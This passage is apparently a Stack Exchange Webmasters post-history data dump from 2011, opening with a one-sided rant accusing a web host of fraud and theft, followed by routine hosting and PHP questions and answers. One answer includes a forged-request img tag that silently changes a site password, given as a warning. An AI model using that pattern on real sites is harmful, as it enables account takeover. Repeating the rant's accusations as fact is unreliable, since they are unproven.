are claims against Mochahost.com.&#xD;&#xA;&#xD;&#xA;1. FALSE ADVERTISING - They claim they offer unlimited domains, unlimited space and unimited bandwidth.  But they will &#xD;&#xA;2. SUSPEND YOUR ACCOUNT ANYTIME at will without warning and try to &#xD;&#xA;3. FORCE YOU TO UPGRADE your account.  They do not give you unlimited bandwidth nor unlimited storage. This is false advertising which there should be a class action lawsuit against mochahost.com. Luring you to buy their cheap plans is a webhosting scam and trick which Mocahost uses to later try to force you to upgrade by suspending your account if you do not.&#xD;&#xA;4. NOT HELPFUL online support - The online tech support is completely useless and they will terminate the chat as fast as they can and just tell you to write a support ticket.&#xD;&#xA;5. NO PHONE. You cannot call them. This is one big warning sign for you. If you request they call you, you might have to wait a long time if they even call you back.&#xD;&#xA;6. NOT FRIENDLY customer tech support. They are only friendly before you sign up. &#xD;&#xA;7. Mochahost DOES NOT ADMIT FAULT. No matter how you prove there is a problem with the server, they will try their best to tell you nothing is wrong.  Perhaps this is their way to avoid any lawsuit or compensation for server down time and problems. They will find ways to blame your codes or anything possible so that they can avoid the responsibility. When you prove it to them, they will still not admit error, then tell you they cannot help you and ask you to write a support ticket. Complaints to Mochahost.com will only make them suspend your account which they will make up a reason. If you want an honest webhost, this isn't it. In fact, this is one of the least honest host and the worst web hosting company we have dealt with in the past 10 years. &#xD;&#xA;8. Their SERVERS ARE NOT STABLE. The server has stalling issues or downtime about one time every two weeks on average.&#xD;&#xA;9.  Mochahost just DOES NOT CARE ABOUT THEIR OWN CUSTOMERS.  If you want to try them out, sign up for a short time period and you'll know exactly why Mochahost gets the most complaints of all web hosting companies.&#xD;&#xA;10. CHECK THE BBB (Better Business Bureau  Email: info@bbbsilicon.org) to read their negative web hosting reviews and also make a complaint against Mochahost. They have plenty of complaints. Don't go with them because you think they are cheap. That is a big mistake. If you file a complaint against Mochahost with the BBB, type in Mochahost for their searched name. They have an F rating with the BBB http://sanjose.bbb.org/Business-Report/Mochahost-235786 .&#xD;&#xA;11. Complaint to the BBB, Paypal, &#xD;&#xA;12.  SUE MOCHAHOST for their mistreatment and for being unethical. You can email elawcase@gmail.com and the more complaints the better for a CLASS ACTION LAWSUIT AGAINST MOCHAHOST.COM. &#xD;&#xA; &#xD;&#xA;13. We recommend you contact the Santa Clara County District Attorney's office to file a complaint against the business since the business is located in the County of Santa Clara.  Many local district attorneys, through consumer fraud units, prosecute fraudulent practices in their communities.  You may contact the Santa Clara County District Attorney's office at the following: County of Santa Clara, Office of the District Attorney, 70 West Hedding Street, West Wing, San Jose, CA  95110, Telephone:  (408) 299-7400, Email:  webmaster@da.co.santa-clara.ca.us&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;14. We would also recommend that you contact the California Department of Justice, Office of the Attorney General (AG).  The AG's office establishes and operates projects and programs to protect consumers from fraudulent, unfair, and illegal activities that victimize consumers.  Please contact the AG at the following: California Department of Justice Office of the Attorney General.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;15. We also suggest you contact the Internet Crime Complaint Center (IC3) which is a partnership between the Federal Bureau of Investigation (FBI), the National White Collar Crime Center (NW3C), and the Bureau of Justice Assistance (BJA).  The FBI's IC3 Unit is organized to handle internet business fraud.  &#xD;&#xA;&#xD;&#xA;16. You can also try to contact the Santa Clara Police department declaring THEFT if Mochahost.com has stolen or prevented access to your own data on their servers.&#xD;&#xA;Mochahost.com&#xD;&#xA;2880 Zanker Rd #203&#xD;&#xA;San Jose, CA 95134&#xD;&#xA;(888) 816-6242 &#xD;&#xA;Phone: 888-816-6242 ext2 &#xD;&#xA; &#xD;&#xA;" />
  <row Id="26397" PostHistoryTypeId="2" PostId="11628" RevisionGUID="9ab604a3-4733-4f8d-aad4-00e9caf8ec3a" CreationDate="2011-04-04T14:36:09.020" UserId="3659" Text="These are recommended by Google: http://code.google.com/p/sitemap-generators/wiki/SitemapGenerators" />
  <row Id="26401" PostHistoryTypeId="25" PostId="11623" RevisionGUID="441882b3-02cb-4471-ae29-6b0a248468a1" CreationDate="2011-04-04T15:09:00.580" Comment="http://twitter.com/#!/StackWebmasters/status/54923429891149824" />
  <row Id="26402" PostHistoryTypeId="2" PostId="11630" RevisionGUID="b73bbcdf-4a75-4eee-92a7-14ac6f3561b2" CreationDate="2011-04-04T15:13:32.993" UserId="4751" Text="I have read that one of the best things to do for security with user uploaded files is to store them outside of the web folder, as there is very little you can do to ensure that that jpg image the user is uploading is really an upload (MIME can be faked, etc.)&#xD;&#xA;&#xD;&#xA;I have not seen a good tutorial on how to achieve this objective, however. I have managed hosting on a linux box, and my web folder is `/public_html/`, so how can I save files to `/useruploads/` but still serve up the files using PHP/html?" />
  <row Id="26403" PostHistoryTypeId="1" PostId="11630" RevisionGUID="b73bbcdf-4a75-4eee-92a7-14ac6f3561b2" CreationDate="2011-04-04T15:13:32.993" UserId="4751" Text="How do I save user uploaded files outside of the web folder but use them on my page?" />
  <row Id="26404" PostHistoryTypeId="3" PostId="11630" RevisionGUID="b73bbcdf-4a75-4eee-92a7-14ac6f3561b2" CreationDate="2011-04-04T15:13:32.993" UserId="4751" Text="&lt;php&gt;&lt;apache&gt;&lt;security&gt;&lt;linux&gt;&lt;uploading&gt;" />
  <row Id="26405" PostHistoryTypeId="2" PostId="11631" RevisionGUID="6b4d20fe-ab45-4306-807a-0473523bce70" CreationDate="2011-04-04T15:19:31.120" UserId="1253" Text="Put the files outside of the webroot. Then using PHP pass the file though a script.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Sample PHP:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;        $file = '/path/to/file/outside_www/secret.pdf';&#xD;&#xA;    &#xD;&#xA;        header('Content-Description: File Transfer');&#xD;&#xA;        header('Content-Type: application/octet-stream');&#xD;&#xA;        header('Content-Disposition: attachment; filename=' . basename($file));&#xD;&#xA;        header('Content-Transfer-Encoding: binary');&#xD;&#xA;        header('Expires: 0');&#xD;&#xA;        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');&#xD;&#xA;        header('Pragma: public');&#xD;&#xA;        header('Content-Length: ' . filesize($file));&#xD;&#xA;        ob_clean();&#xD;&#xA;        flush();&#xD;&#xA;        readfile($file);&#xD;&#xA;        exit;&#xD;&#xA;    ?&gt;&#xD;&#xA;" />
  <row Id="26406" PostHistoryTypeId="2" PostId="11632" RevisionGUID="fbb06571-334a-4cca-8b4e-cb651087d6dd" CreationDate="2011-04-04T15:32:53.217" UserId="6561" Text="I am searching for PHP Gallery Script with:&#xD;&#xA;&#xD;&#xA;1) get images from folders&#xD;&#xA;2) thumb resizer&#xD;&#xA;3) no admin&#xD;&#xA;4) no db" />
  <row Id="26407" PostHistoryTypeId="1" PostId="11632" RevisionGUID="fbb06571-334a-4cca-8b4e-cb651087d6dd" CreationDate="2011-04-04T15:32:53.217" UserId="6561" Text="PHP Gallery Script" />
  <row Id="26408" PostHistoryTypeId="3" PostId="11632" RevisionGUID="fbb06571-334a-4cca-8b4e-cb651087d6dd" CreationDate="2011-04-04T15:32:53.217" UserId="6561" Text="&lt;php&gt;" />
  <row Id="26409" PostHistoryTypeId="6" PostId="11632" RevisionGUID="71fa2900-bfac-475a-9c8a-c4af82aa8d85" CreationDate="2011-04-04T15:38:15.557" UserId="1253" Comment="added &quot;looking-for-a-script, photo-gallery &quot; tags" Text="&lt;php&gt;&lt;looking-for-a-script&gt;&lt;photo-gallery&gt;" />
  <row Id="26410" PostHistoryTypeId="2" PostId="11633" RevisionGUID="24b75cd0-c5db-4534-8fdf-7099946e71b5" CreationDate="2011-04-04T16:16:41.837" UserId="6557" Text="Allowing only the http(s) protocol prevents running javascript, but they can still be used for malicious purposes. Consider the following:&#xD;&#xA;&#xD;&#xA;    &lt;img src=&quot;http://your.website.com/changepassword.php?newpass=hacked123&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Allowing users to embed content from external websites is always risky, but sometimes inevitable. Making sure your scripts are well protected against XSS like the one above will make your site more solid, if not 100% hacker proof." />
  <row Id="26414" PostHistoryTypeId="2" PostId="11635" RevisionGUID="57ff2fbc-75eb-4a5e-9416-db535c69e575" CreationDate="2011-04-04T16:45:05.523" UserId="6564" Text="I do not know if it is possible to find an isp, maybe in america or asia, that provides services to international clients i.e clients outside their region, possibly in africa. i believe it is possible. &#xD;&#xA;can anyone help?" />
  <row Id="26415" PostHistoryTypeId="1" PostId="11635" RevisionGUID="57ff2fbc-75eb-4a5e-9416-db535c69e575" CreationDate="2011-04-04T16:45:05.523" UserId="6564" Text="isp that serves international customers . possible?" />
  <row Id="26416" PostHistoryTypeId="3" PostId="11635" RevisionGUID="57ff2fbc-75eb-4a5e-9416-db535c69e575" CreationDate="2011-04-04T16:45:05.523" UserId="6564" Text="&lt;isp&gt;" />
  <row Id="26417" PostHistoryTypeId="6" PostId="9999" RevisionGUID="7272c035-4224-49a0-8a21-fe4c12566b71" CreationDate="2011-04-04T17:45:38.973" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;looking-for-a-script&gt;&lt;community&gt;&lt;directory-listing&gt;" />
  <row Id="26418" PostHistoryTypeId="5" PostId="11631" RevisionGUID="6f2be8cb-8711-4102-93a3-48758bfb8934" CreationDate="2011-04-04T17:48:21.750" UserId="1253" Comment="edited body" Text="Put the files outside of the webroot. Then using PHP pass the file though a script.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Sample PHP:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;        $file = '/full/path/to/useruploads/secret.pdf';&#xD;&#xA;    &#xD;&#xA;        header('Content-Description: File Transfer');&#xD;&#xA;        header('Content-Type: application/octet-stream');&#xD;&#xA;        header('Content-Disposition: attachment; filename=' . basename($file));&#xD;&#xA;        header('Content-Transfer-Encoding: binary');&#xD;&#xA;        header('Expires: 0');&#xD;&#xA;        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');&#xD;&#xA;        header('Pragma: public');&#xD;&#xA;        header('Content-Length: ' . filesize($file));&#xD;&#xA;        ob_clean();&#xD;&#xA;        flush();&#xD;&#xA;        readfile($file);&#xD;&#xA;        exit;&#xD;&#xA;    ?&gt;&#xD;&#xA;" />
  <row Id="26419" PostHistoryTypeId="25" PostId="11630" RevisionGUID="f2999b52-be45-4d6e-9156-b136586630d5" CreationDate="2011-04-04T18:09:00.787" Comment="http://twitter.com/#!/StackWebmasters/status/54968728248524801" />
  <row Id="26421" PostHistoryTypeId="2" PostId="11636" RevisionGUID="c1760f12-6e1f-44b4-a32f-7abdf0f4a181" CreationDate="2011-04-04T19:10:04.877" UserId="6567" Text="It isn't the one with a [+], but a [Feedback] button - http://getsatisfaction.com/&#xD;&#xA;&#xD;&#xA;http://www.crunchbase.com/company/satisfaction shows their competitors as &#xD;&#xA;http://uservoice.com/, http://www.feedbackify.com/, and others." />
  <row Id="26422" PostHistoryTypeId="2" PostId="11637" RevisionGUID="c1cf5688-c714-45b2-a9ae-5ca2da2ac2ef" CreationDate="2011-04-04T19:41:17.287" UserId="6568" Text="Last year, I started a small blog on wordpress.com. Most of my blog posts are about computational statistics.&#xD;&#xA;&#xD;&#xA;When I look at the site stats, I've noticed a number of strange incoming links. Usually, the links have been shortened using a url shortener and the same sites appear each day (although the shortened url is differs). The sites clearly have no external links to my blog and the topics are unrelated.&#xD;&#xA;&#xD;&#xA;What's the purpose of these sites? Do they hope that I would link to them?&#xD;&#xA;&#xD;&#xA;Example site - warning I don't know if this site is a security risk, since I visit them under linux with noscript running: http://www.iskandary.info/ " />
  <row Id="26423" PostHistoryTypeId="1" PostId="11637" RevisionGUID="c1cf5688-c714-45b2-a9ae-5ca2da2ac2ef" CreationDate="2011-04-04T19:41:17.287" UserId="6568" Text="Strange incoming links on a site statistics" />
  <row Id="26424" PostHistoryTypeId="3" PostId="11637" RevisionGUID="c1cf5688-c714-45b2-a9ae-5ca2da2ac2ef" CreationDate="2011-04-04T19:41:17.287" UserId="6568" Text="&lt;links&gt;&lt;blog&gt;" />
  <row Id="26425" PostHistoryTypeId="4" PostId="11637" RevisionGUID="fba3323c-ca94-4402-bac5-2914a06bd4fa" CreationDate="2011-04-04T19:46:57.063" UserId="6568" Comment="edited title" Text="Strange incoming links appearing on site statistics" />
  <row Id="26426" PostHistoryTypeId="2" PostId="11638" RevisionGUID="2036a5d2-bef0-463b-baca-05356c76dca5" CreationDate="2011-04-04T19:54:40.957" UserId="4775" Text="There are any number of bots and crawlers that are going to hit your site. Sometimes these are going to be recognizable like the google bot, however, there are lots of spammers that are trolling around to comment on posts to build traffic for whatever reason. They could also be testing for vulnerabilities to exploit on your blog.&#xD;&#xA;&#xD;&#xA;I'm sure that most of them are benign." />
  <row Id="26427" PostHistoryTypeId="2" PostId="11639" RevisionGUID="fed74f17-f733-46f1-a396-90e11351caca" CreationDate="2011-04-04T19:58:29.193" UserId="1253" Text="It's probably [referrer spam][1]. &#xD;&#xA;&#xD;&#xA;&gt; Referrer spam (also known as log spam&#xD;&#xA;&gt; or referrer bombing) is a kind of&#xD;&#xA;&gt; spamdexing (spamming aimed at search&#xD;&#xA;&gt; engines). The technique involves&#xD;&#xA;&gt; making repeated web site requests&#xD;&#xA;&gt; using a fake referrer url that points&#xD;&#xA;&gt; to the site the spammer wishes to&#xD;&#xA;&gt; advertise. Sites that publicize&#xD;&#xA;&gt; their access logs, including referrer&#xD;&#xA;&gt; statistics, will then end up linking&#xD;&#xA;&gt; to the spammer's site, which will in&#xD;&#xA;&gt; turn be indexed by the search engines&#xD;&#xA;&gt; as they crawl the access logs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; This benefits the spammer because of&#xD;&#xA;&gt; the free link, and also gives the&#xD;&#xA;&gt; spammer's site improved search engine&#xD;&#xA;&gt; ranking due to link-counting&#xD;&#xA;&gt; algorithms that search engines use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Referrer_spam" />
  <row Id="26428" PostHistoryTypeId="2" PostId="11640" RevisionGUID="77fef6b3-dd31-46da-b001-ae89a34da31b" CreationDate="2011-04-04T19:58:48.130" UserId="4775" Text="Are you planning on releasing this code as something that a user will use on their own computers, or is this an internal app for your own use?&#xD;&#xA;&#xD;&#xA;If this is a tool that you'll be releasing, Google suggests using oAuth, so that you don't have to collect and pass any credentials. If this app is for your own use then you will be fine passing your username and account info the way you are now." />
  <row Id="26429" PostHistoryTypeId="2" PostId="11641" RevisionGUID="8ad973fa-1df4-41a1-9ccb-adea290c13f9" CreationDate="2011-04-04T20:03:59.123" UserId="6113" Text="These are spam blogs. They are created automatically by bots aggregating content to boost their domain's ratings. Such domains are then sold for more money. What they basically do is:&#xD;&#xA;&#xD;&#xA;1. Leave spam comments on blogs that seem to be related thematically to keywords they try to capture. These comments are usually very general but sound natural, like &quot;Hey! Great post, I did not know about this!&quot;. Since most blogs display URLs of people who comment, this automatically creates many links to their sites.&#xD;&#xA;2. Copy content from other blogs to seem legitimate. They usually link back to the original post, taking advantage of the trackbach mechanism. Many blogging tools, like Wordpress, will display trackback links in comment sections by default so this generates just another flood of links and at the same time everything seems like a legitimate link exchange." />
  <row Id="26430" PostHistoryTypeId="2" PostId="11642" RevisionGUID="5b2937a3-f14b-427b-9c36-0c9a89e5811b" CreationDate="2011-04-04T20:38:00.483" UserId="6569" Text="try something like this:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^embed/player.swf?file=([0-9a-zA-Z0-9]+) embed/player.swf?file=http://www.youtube.com/watch?v=$1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;put it on a file called .htaccess in your website's root dir. If u can't find that file you must create it.&#xD;&#xA;" />
  <row Id="26431" PostHistoryTypeId="25" PostId="11637" RevisionGUID="3c3be778-f2fb-4460-b27c-365488875e87" CreationDate="2011-04-04T21:09:00.610" Comment="http://twitter.com/#!/StackWebmasters/status/55014026559766529" />
  <row Id="26432" PostHistoryTypeId="2" PostId="11643" RevisionGUID="659ee55d-c639-42e2-9031-299339622fe5" CreationDate="2011-04-04T21:10:18.130" UserDisplayName="Frank Brenner" Text="I need to provide ftp/http services for a group of users such that:&#xD;&#xA;&#xD;&#xA; - each user has his own password protected area where he can upload files&#xD;&#xA; - each user can create user accounts and passwords for the files he wants to share&#xD;&#xA;&#xD;&#xA;Anybody know of a simple web app that will accomplish this?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="26433" PostHistoryTypeId="1" PostId="11643" RevisionGUID="659ee55d-c639-42e2-9031-299339622fe5" CreationDate="2011-04-04T21:10:18.130" UserDisplayName="Frank Brenner" Text="Quick Filesharing Web-App" />
  <row Id="26434" PostHistoryTypeId="3" PostId="11643" RevisionGUID="659ee55d-c639-42e2-9031-299339622fe5" CreationDate="2011-04-04T21:10:18.130" UserDisplayName="Frank Brenner" Text="&lt;ftp&gt;&lt;http&gt;&lt;website&gt;&lt;web-applications&gt;" />
  <row Id="26435" PostHistoryTypeId="17" PostId="11643" RevisionGUID="475b6655-4e7a-42e4-a167-721576d33b08" CreationDate="2011-04-04T21:22:02.410" UserId="-1" Comment="from http://serverfault.com/questions/255652/quick-filesharing-web-app" Text="" />
  <row Id="26436" PostHistoryTypeId="17" PostId="11645" RevisionGUID="5878f642-8f2d-48f7-91e4-71a55377066f" CreationDate="2011-04-04T22:40:14.483" UserId="-1" Comment="from http://stackoverflow.com/questions/5544902/whois-and-server-host-information-privacy/5544980#5544980" Text="" />
  <row Id="26437" PostHistoryTypeId="2" PostId="11645" RevisionGUID="2bc2f0ec-53c6-4fad-83b5-5cc04275a3aa" CreationDate="2011-04-04T22:18:34.673" UserId="6520" Text="Some domains allow you to hide your details, such as .co.uk address, .com address hiding your credentials isnt. However, in a number of webhosting places, they actually own the domain on your behalf, as a result your details are then  hidden because only the webhoster knows." />
  <row Id="26438" PostHistoryTypeId="2" PostId="11644" RevisionGUID="e9bfb6e9-67c1-48ca-945a-1838b7a3c8d7" CreationDate="2011-04-04T22:08:29.340" UserId="6577" Text="I have a domain that is privately registered, so if you run a whois, you will just the domain registrars name.  And below are two questions:&#xD;&#xA;&#xD;&#xA;1.  Since i am using private registration, is there a way somebody can find out i own it?&#xD;&#xA;&#xD;&#xA;2.  Will the nameserver information still show even if its privately registered?" />
  <row Id="26439" PostHistoryTypeId="1" PostId="11644" RevisionGUID="e9bfb6e9-67c1-48ca-945a-1838b7a3c8d7" CreationDate="2011-04-04T22:08:29.340" UserId="6577" Text="Whois and server host information privacy" />
  <row Id="26440" PostHistoryTypeId="3" PostId="11644" RevisionGUID="e9bfb6e9-67c1-48ca-945a-1838b7a3c8d7" CreationDate="2011-04-04T22:08:29.340" UserId="6577" Text="&lt;whois&gt;&lt;nameserver&gt;&lt;registrar&gt;" />
  <row Id="26441" PostHistoryTypeId="17" PostId="11644" RevisionGUID="a3c40515-6631-49e6-aeed-9808a5e76a59" CreationDate="2011-04-04T22:40:14.483" UserId="-1" Comment="from http://stackoverflow.com/questions/5544902/whois-and-server-host-information-privacy" Text="" />
  <row Id="26445" PostHistoryTypeId="25" PostId="11644" RevisionGUID="393ed6ae-ac37-44be-9e23-63e7915bc751" CreationDate="2011-04-05T00:09:00.573" Comment="http://twitter.com/#!/StackWebmasters/status/55059325437231104" />
  <row Id="26449" PostHistoryTypeId="2" PostId="11648" RevisionGUID="f3edbb43-d714-4441-bb93-5826a53ac1b4" CreationDate="2011-04-05T01:00:52.253" UserId="5026" Text="I am trying to install PrestaShop 1.4.0.17, and reach Step 3.&#xD;&#xA;&#xD;&#xA;I enter database information, which tests okay, and I choose the second option:&#xD;&#xA;Full mode: includes 100+ additional modules and demo products (FREE too!).&#xD;&#xA;&#xD;&#xA;I choose Next, and receive the error:&#xD;&#xA;&#xD;&#xA;    Error while inserting data in the database:&#xD;&#xA;    ‘CREATE TABLE `shop_county_zip_code` ( `id_county` INT NOT NULL , `from_zip_code` INT         NOT NULL , `to_zip_code` INT NOT NULL , PRIMARY KEY ( `id_county` , `from_zip_code` , `to_zip_code` ) ) ENGINE=’&#xD;&#xA;    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \’\’ at line 6(Error: : 1064)&#xD;&#xA;&#xD;&#xA;This happens if I use either MyISAM, or InnoDB.  Why is this happening?&#xD;&#xA;&#xD;&#xA;This also happens if I drop all database tables, and try again in simple mode.&#xD;&#xA;&#xD;&#xA;Is there a manual installation method?" />
  <row Id="26450" PostHistoryTypeId="1" PostId="11648" RevisionGUID="f3edbb43-d714-4441-bb93-5826a53ac1b4" CreationDate="2011-04-05T01:00:52.253" UserId="5026" Text="PrestaShop install SQL error." />
  <row Id="26451" PostHistoryTypeId="3" PostId="11648" RevisionGUID="f3edbb43-d714-4441-bb93-5826a53ac1b4" CreationDate="2011-04-05T01:00:52.253" UserId="5026" Text="&lt;web-platform-installer&gt;&lt;prestashop&gt;" />
  <row Id="26452" PostHistoryTypeId="2" PostId="11649" RevisionGUID="bac08214-6773-4daf-ad2f-d47007590f27" CreationDate="2011-04-05T01:47:48.033" UserId="6581" Text="How can I change the privacy notice in both the site and email messages? My instance is not public facing. I don't like this:&#xD;&#xA;&#xD;&#xA;&gt; PRIVACY NOTICE: Bugzilla is an open&#xD;&#xA;&gt; bug tracking system. Activity on most&#xD;&#xA;&gt; bugs, including email addresses, will&#xD;&#xA;&gt; be visible to the public. We recommend&#xD;&#xA;&gt; using a secondary account or free web&#xD;&#xA;&gt; email service (such as Gmail, Yahoo,&#xD;&#xA;&gt; Hotmail, or similar) to avoid&#xD;&#xA;&gt; receiving spam at your primary email&#xD;&#xA;&gt; address." />
  <row Id="26453" PostHistoryTypeId="1" PostId="11649" RevisionGUID="bac08214-6773-4daf-ad2f-d47007590f27" CreationDate="2011-04-05T01:47:48.033" UserId="6581" Text="How to change Bugzilla change privacy notice?" />
  <row Id="26454" PostHistoryTypeId="3" PostId="11649" RevisionGUID="bac08214-6773-4daf-ad2f-d47007590f27" CreationDate="2011-04-05T01:47:48.033" UserId="6581" Text="&lt;web-applications&gt;&lt;privacy&gt;&lt;bugs&gt;" />
  <row Id="26455" PostHistoryTypeId="2" PostId="11650" RevisionGUID="bc3f77ef-624d-46a8-81c8-9ed14f7e0f78" CreationDate="2011-04-05T02:04:53.690" UserId="112" Text="One of my sites is a single page that focuses on getting the user to call a phone number.&#xD;&#xA;&#xD;&#xA;In GA, I've set up a Goal for when visitors spend more than 1 minute on the site. I realized much later that GA doesn't trap exit events, so visitors who arrive at the site and click back won't be counted. I'd like to modify that; but that's for another question.&#xD;&#xA;&#xD;&#xA;I've got a number of users with an Average Time on Site &gt;0 ; and a page depth &gt; 1. I can't figure out how --- My site contains a single page. &#xD;&#xA;&#xD;&#xA;The number of users with Page Depth 2+ doesn't equal the number of returning visitors - otherwise I'd assume these are people who left and then typed in the url manually.&#xD;&#xA;&#xD;&#xA;I'm at a loss. Did they just hit refresh? Did they bookmark the site and return to it? (That shouldn't count as 'time on site' though'...)&#xD;&#xA;" />
  <row Id="26456" PostHistoryTypeId="1" PostId="11650" RevisionGUID="bc3f77ef-624d-46a8-81c8-9ed14f7e0f78" CreationDate="2011-04-05T02:04:53.690" UserId="112" Text="How do I have a page depth &gt; 1 on a single page website?" />
  <row Id="26457" PostHistoryTypeId="3" PostId="11650" RevisionGUID="bc3f77ef-624d-46a8-81c8-9ed14f7e0f78" CreationDate="2011-04-05T02:04:53.690" UserId="112" Text="&lt;google-analytics&gt;&lt;analytics&gt;" />
  <row Id="26461" PostHistoryTypeId="25" PostId="11650" RevisionGUID="890ce9b5-4206-4588-a88c-b7c589f35815" CreationDate="2011-04-05T03:09:00.767" Comment="http://twitter.com/#!/StackWebmasters/status/55104623555518465" />
  <row Id="26472" PostHistoryTypeId="25" PostId="11625" RevisionGUID="1248e841-f174-4524-8db0-ac457b82e216" CreationDate="2011-04-05T06:09:00.463" Comment="http://twitter.com/#!/StackWebmasters/status/55149921409564672" />
  <row Id="26473" PostHistoryTypeId="2" PostId="11652" RevisionGUID="d513811f-8cb6-4b1d-aa50-68e1e3474afd" CreationDate="2011-04-05T06:17:27.093" UserId="6113" Text="Try DropBox ([http://dropbox.com][1]). This is not exactly what you have described but should be OK.&#xD;&#xA;&#xD;&#xA; 1. First, let each of your users create an account. This way they will get their individual spaces of at least 2GB.&#xD;&#xA; 2. Then, make them install DP's desktop application. This is not necessary but very helpful. All it does is synchronizing a designated folder with a user's online space.&#xD;&#xA; 3. List item&#xD;&#xA;&#xD;&#xA;It works like every regular folder. If you drag and drop a file into it, the app will start synchronizing it with the online space. If you rename it, move it or delete it - all the changes will be reflected online, too. It is just like a mix of instant online back-up and file sharing.&#xD;&#xA;&#xD;&#xA;Now, if your users want to share some files, they can just sort them in folders in their DropBox folder and designate users with access to each folder separately. What is best about it, is that if user A allows user B access to a folder, this folder is being automatically synchronized with both users' desktops, which means that everybody is up to date with their files.&#xD;&#xA;&#xD;&#xA;It works very well and at the same time is free and simple. The functionality is very limited in terms of available options but the implementation is flexible enough so that it is easy to have a setup that is fit for various tasks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dropbox.com" />
  <row Id="26474" PostHistoryTypeId="2" PostId="11653" RevisionGUID="9efb1294-5582-4853-aae3-75eb0e733a95" CreationDate="2011-04-05T06:19:11.097" UserId="6586" Text="Im in the process of installing phpBB, it says I need certain permissions for a few directories (image). I tried changing the permissions via FTP clients but it won't change. FileZilla even gave me this:&#xD;&#xA;&#xD;&#xA;&gt; Command:    SITE CHMOD 777 cache&#xD;&#xA;&gt; Response:   500 'SITE CHMOD 777&#xD;&#xA;&gt; cache': command not understood&#xD;&#xA;&#xD;&#xA;How do I change these permissions? I'm running Windows Server. Any help?&#xD;&#xA;&#xD;&#xA;![phpBB install][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/y5mfT.png" />
  <row Id="26475" PostHistoryTypeId="1" PostId="11653" RevisionGUID="9efb1294-5582-4853-aae3-75eb0e733a95" CreationDate="2011-04-05T06:19:11.097" UserId="6586" Text="phpBB permissions issue" />
  <row Id="26476" PostHistoryTypeId="3" PostId="11653" RevisionGUID="9efb1294-5582-4853-aae3-75eb0e733a95" CreationDate="2011-04-05T06:19:11.097" UserId="6586" Text="&lt;html&gt;&lt;php&gt;&lt;phpbb&gt;" />
  <row Id="26483" PostHistoryTypeId="2" PostId="11656" RevisionGUID="fd078ef9-314d-499f-bfbd-f3916961c81a" CreationDate="2011-04-05T09:56:32.783" UserId="3461" Text="1. If you use a free solution like [Flowplayer][1] or [JW Player][2] you then indeed have most freedom, and much more possibilities for a custom solution. As you guessed, it will eat lots of bandwidth, and might end in bad user experience if your servers have problems with streaming, or is just the typical shared hosting, is slow, etc. I would go with this solution if paying for great streaming servers, or my audience is very small and I need very special customization, branding, flexibility, etc. A big con is you actually add an extra step, you will need ffmpeg, mediacoder, Riva encoder, or any other, to encode you avi or whatever to flv format. This players are actually SWF &quot;players&quot; that actually playback your flv. Playing the vid as just a single SWF video file is not optimal neither stable.&#xD;&#xA;&#xD;&#xA;2. I would go this way. Besides is simple to use, you don't have to care for bandwidth, it has an amazing amount of visits a month (that does not mean your video will have lots of visits, but will be in a place where lots of people go to check/search videos), and specially if need to upload often, the cost of time also counts. Its uploader has improved in speed, and you can customize how it shows also more than before. I tend to prefer to upload mp4 files saved with .h264 codec, as makes hi quality but small videos, and seems to work well with Youtube. But the site supports practically all formats available.&#xD;&#xA;&#xD;&#xA;I also like [Viddler][3].&#xD;&#xA;&#xD;&#xA;The crossbrowser matter is not an issue with a custom player like JW or Flowplayer, as they are actually SWF, flash files; cross device is more of an issue. Because iphone and ipad, etc, till what I know, wont support flash. Youtube has did solved as plays videos alternatively in html 5, and that is transparent for the user, wont notice, as far as I know.&#xD;&#xA;&#xD;&#xA;Your youtube questions.&#xD;&#xA;&#xD;&#xA;1 There are a pair of tags to control both in typical playback url, as well as in embedded html syntax, to control the start time of a video. You have the option of adding pre rolls, post rolls, and midst rolls. I am not sure on how much flexibility you would have for that, and if indeed this might be a show stopper for you, and would need to choose the FW or Flowplayer option for this specific matter. Youtube has quite many tags that you can add to the url of embedded and normal versions, which people are not aware, and that allows quite extra control. Might not be enough for your needs, though.&#xD;&#xA;&#xD;&#xA;2 Ranking will not be neededly affected. You might have more traffic for doing it in Youtube, but it might not happen so. Google is evolving more and more to make people focus on content. The key is content, and have backlinks of related content. Related to that kind of content. Ranking is not the same than traffic. And there is a possibility you get some nice traffic thanks to youtube. But unless you make a great hit video, it might just end up as a little more help, not more.&#xD;&#xA;&#xD;&#xA;3 Youtube should play in iPad for the html 5 playback capability it has. If does not work with certain code, not sure. Seems works, for the latest iOS 4.x . You might want to check [this][4]&#xD;&#xA;&#xD;&#xA;4 There are some ways to monetize from Youtube videos. I am not sure if it's a great way, though. For that, you might also give it a try to alternative sites with better solutions for that specific matter, although for most other reasons I'd go youtube. (In general for promotion, seems best, might help your product better, and so, non directly bring money.)&#xD;&#xA;&#xD;&#xA;  [1]: http://flowplayer.org&#xD;&#xA;  [2]: http://www.longtailvideo.com&#xD;&#xA;  [3]: http://www.viddler.com&#xD;&#xA;  [4]: http://apiblog.youtube.com/2010/07/new-way-to-embed-youtube-videos.html" />
